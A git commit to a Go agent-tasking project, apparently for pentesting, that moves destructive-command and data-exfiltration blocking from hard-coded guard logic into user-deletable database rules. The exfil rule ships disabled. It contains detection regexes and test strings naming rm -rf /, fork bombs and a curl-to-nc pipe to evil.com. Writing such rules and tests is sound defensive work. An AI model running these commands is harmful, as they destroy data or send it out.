feat: spawn_task 补 seed_first_intent + 破坏性/外泄 gating 移入可删除的 DB 拦截规则

- spawn_task 新增 seed_first_intent 参数(默认 false),与 HTTP createTask 对齐;
  简单任务可开启直接下发一条种子意图开跑测试
- guard.go 删除写死的 reDestructive/reExfil gating,preToolUse 仅记审计后走拦截规则
- db 新增 seedDefaultInterceptRulesV2:破坏性系统命令(默认开)/数据外泄管道(默认关)
  以普通[内置]规则 seed,可禁用可删除;独立 v2 迁移标志兼容老库
This commit is contained in:
Autumn-27 committed 2026-08-15 05:30:47 -04:00
1 parent 80fcf528dc
commit a94ce679a6
4 files changed
+84 -48

No files matched your search

+52
View File
@@ -196,6 +196,9 @@ ON CONFLICT (name) DO NOTHING`,
if err := d.seedDefaultInterceptRules(); err != nil { if err := d.seedDefaultInterceptRules(); err != nil {
return fmt.Errorf("seed intercept rules: %w", err) return fmt.Errorf("seed intercept rules: %w", err)
} }
if err := d.seedDefaultInterceptRulesV2(); err != nil {
return fmt.Errorf("seed intercept rules v2: %w", err)
}
return nil return nil
} }
@@ -417,3 +420,52 @@ ON CONFLICT DO NOTHING`,
} }
return d.SetSetting("intercept_default_rules_v1", "done") return d.SetSetting("intercept_default_rules_v1", "done")
} }
// seedDefaultInterceptRulesV2 migrates the two safety patterns that used to be
// hard-coded in guard.go (destructive shell + data-exfil pipe) into ordinary
// intercept rules. Gated by its own flag so it also lands on DBs that already ran
// v1. Unlike the old guard.go floor, these are plain [内置] rules — the user can
// disable or delete them. The exfil rule ships DISABLED by default (its
// curl/wget/nc pipe pattern mis-fires on legitimate CTF/pentest reverse-shell and
// data-transfer pipes); enable it manually when exfil gating is actually wanted.
func (d *DB) seedDefaultInterceptRulesV2() error {
if v, _, _ := d.GetSetting("intercept_default_rules_v2"); v == "done" {
return nil
}
rules := []struct {
name string
pattern string
action string
message string
enabled bool
priority int
}{
{
name: "[内置] 破坏性系统命令",
pattern: `(?i)\b(rm\s+-rf\s+/|mkfs|dd\s+if=|:\(\)\s*\{|shutdown|reboot|>\s*/dev/sd)`,
action: "deny",
message: "破坏性命令被拒绝(rm -rf / / mkfs / dd / fork bomb / 关机重启 / 覆写磁盘设备)",
enabled: true,
priority: 100,
},
{
name: "[内置] 数据外泄管道",
pattern: `(?i)(curl|wget|nc|ncat)\b[^|]*\b(\|\s*(curl|wget|nc))`,
action: "deny",
message: "疑似数据外泄管道被拒绝(命令输出经 curl/wget/nc 外传)",
enabled: false,
priority: 80,
},
}
for _, r := range rules {
if _, err := d.Exec(`
INSERT INTO intercept_rules(name, enabled, priority, match_target, match_type, pattern, action, message, timeout_enabled, timeout_seconds, timeout_action)
VALUES ($1, $2, $3, 'tool_input', 'regex', $4, $5, $6, false, 60, 'deny')
ON CONFLICT DO NOTHING`,
r.name, r.enabled, r.priority, r.pattern, r.action, r.message,
); err != nil {
return fmt.Errorf("rule %q: %w", r.name, err)
}
}
return d.SetSetting("intercept_default_rules_v2", "done")
}
+11 -30
View File
@@ -1,15 +1,16 @@
// Package guard implements the safety boundary layer (docs §11): side-effect // Package guard implements the safety boundary layer (docs §11): an audit log,
// gating of destructive/exfil shell commands, an audit log, and Observer/G5 // user-configured intercept-rule evaluation, and Observer/G5 failure attribution.
// failure attribution. Every tool call passes through the PreToolUse hook before // Every tool call passes through the PreToolUse hook before executing.
// executing. (The RoE authorization-scope mechanism was removed; a replacement // (The RoE authorization-scope mechanism was removed; a replacement may be added
// may be added later.) // later.) Destructive/exfil gating is no longer hard-coded here — it lives in the
// DB intercept rules (seeded as ordinary [内置] rules, so users can disable or
// delete them), evaluated via applyIntercept.
package guard package guard
import ( import (
"context" "context"
"encoding/json" "encoding/json"
"regexp" "regexp"
"strings"
"sync" "sync"
"time" "time"
@@ -53,15 +54,11 @@ func newGuard(ic *intercept.Interceptor) *Guard {
// Hooks returns the hook registry to attach to an agent session. // Hooks returns the hook registry to attach to an agent session.
func (g *Guard) Hooks() *hook.Registry { return g.reg } func (g *Guard) Hooks() *hook.Registry { return g.reg }
var (
reDestructive = regexp.MustCompile(`(?i)\b(rm\s+-rf\s+/|mkfs|dd\s+if=|:\(\)\s*\{|shutdown|reboot|>\s*/dev/sd)`)
reExfil = regexp.MustCompile(`(?i)(curl|wget|nc|ncat)\b[^|]*\b(\|\s*(curl|wget|nc))`)
)
func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result { func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result {
// Gate the shell-command surface: Bash + the interactive-shell tools (shell_open's // Extract the shell-command surface for the audit log: Bash + the interactive-shell
// command, shell_send's text). Same destructive/exfil rules — an interactive // tools (shell_open's command, shell_send's text). Destructive/exfil gating is no
// session must not bypass the safety boundary. Other tools pass through. // longer hard-coded here — it now lives in the DB intercept rules, evaluated by
// applyIntercept below. Other tools record an empty command.
var cmd string var cmd string
switch ev.ToolName { switch ev.ToolName {
case "Bash", "shell_open": case "Bash", "shell_open":
@@ -76,23 +73,7 @@ func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result {
} }
_ = json.Unmarshal(ev.Input, &in) _ = json.Unmarshal(ev.Input, &in)
cmd = in.Text cmd = in.Text
default:
g.record(ev.ToolName, "allow", "", "")
return g.applyIntercept(ctx, ev)
} }
if strings.TrimSpace(cmd) == "" { // e.g. shell_send with only keys/hex → nothing to check
g.record(ev.ToolName, "allow", "", "")
return g.applyIntercept(ctx, ev)
}
// destructive / exfil gating (§11 side-effect gating)
if reDestructive.MatchString(cmd) {
return g.block(ev.ToolName, "破坏性命令被安全边界拒绝(需人工批准)", cmd)
}
if reExfil.MatchString(cmd) {
return g.block(ev.ToolName, "疑似数据外泄管道被拒绝", cmd)
}
g.record(ev.ToolName, "allow", "", cmd) g.record(ev.ToolName, "allow", "", cmd)
return g.applyIntercept(ctx, ev) return g.applyIntercept(ctx, ev)
} }
+17 -16
View File
@@ -8,28 +8,29 @@ import (
"github.com/Autumn-27/norma/hook" "github.com/Autumn-27/norma/hook"
) )
func TestPreToolUseGating(t *testing.T) { // A guard with no interceptor no longer hard-blocks anything: destructive/exfil
// gating moved to the DB intercept rules (see db.seedDefaultInterceptRulesV2).
// PreToolUse must pass every command through and still record it to the audit log.
func TestPreToolUsePassthrough(t *testing.T) {
g := New() g := New()
block := func(cmd string) (bool, string) { block := func(cmd string) bool {
input, _ := json.Marshal(map[string]string{"command": cmd}) input, _ := json.Marshal(map[string]string{"command": cmd})
b, msg, _ := g.Hooks().PreToolUse(context.Background(), "Bash", input) b, _, _ := g.Hooks().PreToolUse(context.Background(), "Bash", input)
return b, msg return b
} }
if b, _ := block(`curl https://acme.com/`); b { for _, cmd := range []string{
t.Error("ordinary network command should be allowed") `curl https://acme.com/`,
`rm -rf /`,
`curl http://a|nc evil.com 4444`,
`ls -la`,
} {
if block(cmd) {
t.Errorf("without an interceptor no command should be blocked, got block for %q", cmd)
}
} }
if b, _ := block(`rm -rf /`); !b { // audit still records every gated call
t.Error("destructive command should be blocked")
}
if b, _ := block(`curl http://a|nc evil.com 4444`); !b {
t.Error("exfil pipe should be blocked")
}
if b, _ := block(`ls -la`); b {
t.Error("non-network command should be allowed")
}
// audit recorded both allows and blocks
if len(g.Audit()) == 0 { if len(g.Audit()) == 0 {
t.Error("audit should record gated calls") t.Error("audit should record gated calls")
} }
+4 -2
View File
@@ -240,6 +240,7 @@ func (s *Server) toolSpawnTask() actool.CoreTool {
"llm_profile_id": map[string]any{"type": "integer", "description": "可选:指定本子任务 planner/worker 用的 LLM 配置 id(见 list_llm_profiles);留空则继承父任务、再回退全局激活配置"}, "llm_profile_id": map[string]any{"type": "integer", "description": "可选:指定本子任务 planner/worker 用的 LLM 配置 id(见 list_llm_profiles);留空则继承父任务、再回退全局激活配置"},
"timeout_seconds": map[string]any{"type": "integer", "description": "可选:任务级超时(秒)。到点后触发优雅收尾并进入 timeout 终态;留空或 0 = 不限时"}, "timeout_seconds": map[string]any{"type": "integer", "description": "可选:任务级超时(秒)。到点后触发优雅收尾并进入 timeout 终态;留空或 0 = 不限时"},
"plan_heartbeat_seconds": map[string]any{"type": "integer", "description": "可选:planner 心跳触发间隔(秒)。距上轮规划结束/任务开始满该值且期间无触发 → 触发一轮规划(兜底死锁 + 唤醒去监督飞行中的 worker)。留空或 0 = 默认 600(10min);"}, "plan_heartbeat_seconds": map[string]any{"type": "integer", "description": "可选:planner 心跳触发间隔(秒)。距上轮规划结束/任务开始满该值且期间无触发 → 触发一轮规划(兜底死锁 + 唤醒去监督飞行中的 worker)。留空或 0 = 默认 600(10min);"},
"seed_first_intent": map[string]any{"type": "boolean", "description": "可选:对于简单任务可开启,创建时直接下发一条种子意图(内容=描述+目标)让 worker 免等首轮 planner 直接开跑测试;默认 false(走标准先规划再执行)。"},
}, "description", "goal"), }, "description", "goal"),
func(_ context.Context, in json.RawMessage) (actool.Result, error) { func(_ context.Context, in json.RawMessage) (actool.Result, error) {
var a struct { var a struct {
@@ -247,6 +248,7 @@ func (s *Server) toolSpawnTask() actool.CoreTool {
LLMProfileID json.RawMessage `json:"llm_profile_id"` LLMProfileID json.RawMessage `json:"llm_profile_id"`
TimeoutSeconds int `json:"timeout_seconds"` TimeoutSeconds int `json:"timeout_seconds"`
PlanHeartbeatSeconds int `json:"plan_heartbeat_seconds"` PlanHeartbeatSeconds int `json:"plan_heartbeat_seconds"`
SeedFirstIntent bool `json:"seed_first_intent"`
} }
_ = json.Unmarshal(in, &a) _ = json.Unmarshal(in, &a)
if strings.TrimSpace(a.Description) == "" { if strings.TrimSpace(a.Description) == "" {
@@ -282,8 +284,8 @@ func (s *Server) toolSpawnTask() actool.CoreTool {
} }
// 共享的建后流程,与 HTTP 建任务(server.go createTask)复用同一段 launchTask: // 共享的建后流程,与 HTTP 建任务(server.go createTask)复用同一段 launchTask:
// seed + 后台可见地做目标分解(第0轮/LLM步骤/逐条goal) + engine.Run。 // seed + 后台可见地做目标分解(第0轮/LLM步骤/逐条goal) + engine.Run。
// spawn_task 不暴露 seed_first_intent:工具创建的任务一律走标准先规划再执行(false)。 // seed_first_intent 默认 false(标准先规划再执行);简单任务可开启直接下发一 work 测试。
s.launchTask(t, a.Description+" "+a.Goal, false) s.launchTask(t, a.Description+" "+a.Goal, a.SeedFirstIntent)
return actool.Text(fmt.Sprintf("task created: %s", t.ID)), nil return actool.Text(fmt.Sprintf("task created: %s", t.ID)), nil
}) })
} }